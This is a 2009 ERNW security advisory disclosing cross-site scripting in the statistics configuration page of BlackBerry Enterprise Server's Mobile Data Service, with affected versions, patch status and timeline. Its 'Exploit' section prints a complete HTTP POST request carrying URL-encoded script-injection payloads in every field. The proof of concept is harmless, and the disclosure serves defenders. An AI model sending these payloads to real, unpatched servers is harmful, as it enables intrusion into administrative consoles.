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Blackberries Mobile Data Service Connection Service XSS



ERNW Security Advisory 01-2009: XSS in Blackberries Mobile Data Service Connection Service
ERNW Security Advisory 01-2009: XSS in Blackberries Mobile Data Service Connection Service



ERNW Security Advisory 01-2009

XSS in Blackberries Mobile Data Service Connection Service

Author: Michael Thumann 

1. Summary
The Blackberry Mobile Data Service Connection is vulnerable to
several XSS attacks in the "Customize Statistics Page".

2. CVSS V2 Base Score : 3.5 (based on vendor rating)

3. Products affected
Blackberry Enterprise Server: all versions prior to 4.1.6 MR4

4. Patch Availability : A patch is available from the vendor.

5. Details 
Injecting scripts (containing standard and encoded XSS attacks) into
all the fields of the "customize statitics page" reveals  that none
of the fields are properly validated for malicious input and  the
output isn't sanitized.

6. Solution 
Update the affected products to the actual version.

7. Time-Line 
16 Feb 2009: Discovery of the vulnerability 
02 Mar 2009: Vulnerability reported to vendor 
02 Mar 2009: Answer from vendor 
16 Apr 2009: Patch available 
16 Apr 2009: Public Disclosure

8. Exploit 
POST /admin/statistics/ConfigureStatistics HTTP/1.0 
Cookie: JSESSIONID=.... 
Content-Length: 753 
Accept: */* 
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) 
Host: ...
Content-Type: application/x-www-form-urlencoded 
Referer: http://x:8080/admin/statistics/ConfigureStatistics 

customDate=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
interval=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
lastCustomInterval=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E
&lastIntervalLength=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%
3E&nextCustomInterval=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript
%3E&nextIntervalLength=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%
2Fscript%3E&action=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E
&delIntervalIndex=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
addStatIndex=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
delStatIndex=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
referenceTime=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E

9. Thanks
We would like to thank the guys from Blackberry for working
together on this issue in a professional and responsible way.

10. Disclaimer 
The informations in this advisory are provided "AS IS"
without warranty of any kind. In no event shall the authors be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages due to the
misuse of any information provided in this advisory.




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